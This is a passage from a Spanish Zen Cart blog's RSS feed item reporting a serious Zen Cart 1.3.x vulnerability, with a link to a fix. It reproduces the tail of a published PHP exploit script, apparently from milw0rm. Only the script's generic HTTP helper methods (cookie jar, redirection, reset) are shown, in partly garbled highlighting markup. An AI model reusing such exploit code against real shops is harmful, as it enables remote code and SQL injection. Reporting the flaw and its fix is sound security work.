   * @param   integer code 1(enabled) 0(disabled)
   * @example $this-&gt;cookiejar(0)
   * @example $this-&gt;cookiejar(1)
   * 
   */</span>
  <span style="color: #000000; font-weight: bold;">function</span> cookiejar<span style="color: #009900;">&#40;</span><span style="color: #000088;">$code</span><span style="color: #009900;">&#41;</span>
  <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$code</span><span style="color: #339933;">==&amp;</span><span style="color: #666666; font-style: italic;">#39;0&amp;#39;)
</span>      <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">cookiejar</span><span style="color: #339933;">=</span><span style="color: #009900; font-weight: bold;">FALSE</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$code</span><span style="color: #339933;">==&amp;</span><span style="color: #666666; font-style: italic;">#39;1&amp;#39;)
</span>      <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">cookiejar</span><span style="color: #339933;">=</span><span style="color: #009900; font-weight: bold;">TRUE</span><span style="color: #339933;">;</span>
   <span style="color: #009900;">&#125;</span>
&nbsp;
  <span style="color: #009933; font-style: italic;">/**
   * If you call this function,
   * the script will follow all
   * redirections sent by the server.
   * 
   * @access  public
   * @param   integer code 1(enabled) 0(disabled)
   * @example $this-&gt;allowredirection(0)
   * @example $this-&gt;allowredirection(1)
   * 
   */</span>
  <span style="color: #000000; font-weight: bold;">function</span> allowredirection<span style="color: #009900;">&#40;</span><span style="color: #000088;">$code</span><span style="color: #009900;">&#41;</span>
  <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$code</span><span style="color: #339933;">==&amp;</span><span style="color: #666666; font-style: italic;">#39;0&amp;#39;)
</span>      <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">allowredirection</span><span style="color: #339933;">=</span><span style="color: #009900; font-weight: bold;">FALSE</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$code</span><span style="color: #339933;">==&amp;</span><span style="color: #666666; font-style: italic;">#39;1&amp;#39;)
</span>      <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">allowredirection</span><span style="color: #339933;">=</span><span style="color: #009900; font-weight: bold;">TRUE</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
&nbsp;
  <span style="color: #009933; font-style: italic;">/**
   * This function is called if
   * allowredirection() is enabled.
   * You don&amp;#39;t have to call it.
   *
   * @access private
   * @return string $this-&gt;get(&amp;#39;http://&amp;#39;.$this-&gt;host.$this-&gt;path.$this-&gt;last_redirection)
   * @return string $this-&gt;get($this-&gt;last_redirection)
   * @return string $this-&gt;recv;
   * 
   */</span>
  <span style="color: #000000; font-weight: bold;">function</span> getredirection<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
  <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">preg_match</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;/(location|content-location|uri): (.*)/i&amp;#39;,$this-&gt;getheader(),$codearr))
</span>    <span style="color: #009900;">&#123;</span>
      <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">last_redirection</span> <span style="color: #339933;">=</span> <span style="color: #990000;">trim</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$codearr</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
      <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">ereg</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;://&amp;#39;,$this-&gt;last_redirection))
</span>        <span style="color: #b1b100;">return</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">get</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;http://&amp;#39;.$this-&gt;host.$this-&gt;path.$this-&gt;last_redirection);
</span>      <span style="color: #b1b100;">else</span>
        <span style="color: #b1b100;">return</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">get</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">last_redirection</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #b1b100;">else</span>
      <span style="color: #b1b100;">return</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">recv</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
&nbsp;
  <span style="color: #009933; font-style: italic;">/**
   * This function allows you
   * to reset some parameters.
   * 
   * @access  public
   * @param   string func Param
   * @example $this-&gt;reset(&amp;#39;header&amp;#39;)
   * @example $this-&gt;reset(&amp;#39;cookie&amp;#39;)
   * @example $this-&gt;reset()
   * 
   */</span>
  <span style="color: #000000; font-weight: bold;">function</span> <span style="color: #990000;">reset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$func</span><span style="color: #339933;">=&amp;</span><span style="color: #666666; font-style: italic;">#39;&amp;#39;)
</span>  <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">switch</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$func</span><span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#123;</span>
      <span style="color: #b1b100;">case</span> <span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;header&amp;#39;:
</span>        <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">header</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;&amp;#39;);
</span>        <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span>
&nbsp;
      <span style="color: #b1b100;">case</span> <span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;cookie&amp;#39;:
</span>        <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">cookie</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;&amp;#39;);
</span>        <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span>
&nbsp;
      <span style="color: #b1b100;">default</span><span style="color: #339933;">:</span>
        <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">cookiejar</span> <span style="color: #339933;">=</span> <span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;&amp;#39;;
</span>        <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">header</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;&amp;#39;);
</span>        <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">cookie</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;&amp;#39;);
</span>        <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">allowredirection</span> <span style="color: #339933;">=</span> <span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;&amp;#39;;
</span>        <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
  <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #339933;">&lt;/</span><span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$code</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&gt;&lt;/</span>url<span style="color: #339933;">&gt;&lt;/</span>url<span style="color: #339933;">&gt;</span></pre></div></div>

	<p>Este script no funciona en caso de no encontrar el directorio admin y es por eso que podemos aplicar <strong>la soluci&oacute;n</strong> que se comenta en el <a href="http://www.zen-cart.com/forum/showthread.php?p=762711#post762711" title="Foro Zen Cart">foro de Zen Cart</a>.</p>



Comparte esta entrada:


	<a rel="nofollow"  href="http://www.facebook.com/share.php?u=http%3A%2F%2Fwww.zen-cart.es%2Fseguridad%2Fzencart-1-3-x-grave-vulnerabilidad%2F&amp;t=Zen%20Cart%201.3.x%20-%20Grave%20vulnerabilidad" title="Facebook"><img src="http://www.zen-cart.es/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="http://bitacoras.com/anotaciones/http%3A%2F%2Fwww.zen-cart.es%2Fseguridad%2Fzencart-1-3-x-grave-vulnerabilidad%2F" title="Bitacoras.com"><img src="http://www.zen-cart.es/wp-content/plugins/sociable/images/bitacoras.png" title="Bitacoras.com" alt="Bitacoras.com" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fwww.zen-cart.es%2Fseguridad%2Fzencart-1-3-x-grave-vulnerabilidad%2F&amp;title=Zen%20Cart%201.3.x%20-%20Grave%20vulnerabilidad&amp;source=Experto+Zen+Cart+-+Programador+Freelance+Tiendas+Virtuales+Zen+Cart+Tiendas+virtuales+y+mucho+m%C3%A1s&amp;summary=En%20milw0rm.com%20se%20publican%20dos%20scripts%20%28inyecci%26oacute%3Bn%20de%20c%26oacute%3Bdigo%2C%20inyecci%26oacute%3Bn%20de%20SQL%29%20para%20explotar%20una%20grave%20vulnerabilidad%20que%20afecta%20a%20toda%20la%20rama%201.3.x%20de%20Zen%20Cart%20y%20que%20permite%20inyectar%20c%26oacute%3Bdigo%20de%20forma%20remota%20en%20el%20director" title="LinkedIn"><img src="http://www.zen-cart.es/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="http://meneame.net/submit.php?url=http%3A%2F%2Fwww.zen-cart.es%2Fseguridad%2Fzencart-1-3-x-grave-vulnerabilidad%2F" title="Meneame"><img src="http://www.zen-cart.es/wp-content/plugins/sociable/images/meneame.png" title="Meneame" alt="Meneame" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="http://twitter.com/home?status=Zen%20Cart%201.3.x%20-%20Grave%20vulnerabilidad%20-%20http%3A%2F%2Fwww.zen-cart.es%2Fseguridad%2Fzencart-1-3-x-grave-vulnerabilidad%2F" title="Twitter"><img src="http://www.zen-cart.es/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a>


<br/><br/>]]></content:encoded>
			<wfw:commentRss>http://www.zen-cart.es/seguridad/zencart-1-3-x-grave-vulnerabilidad/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>
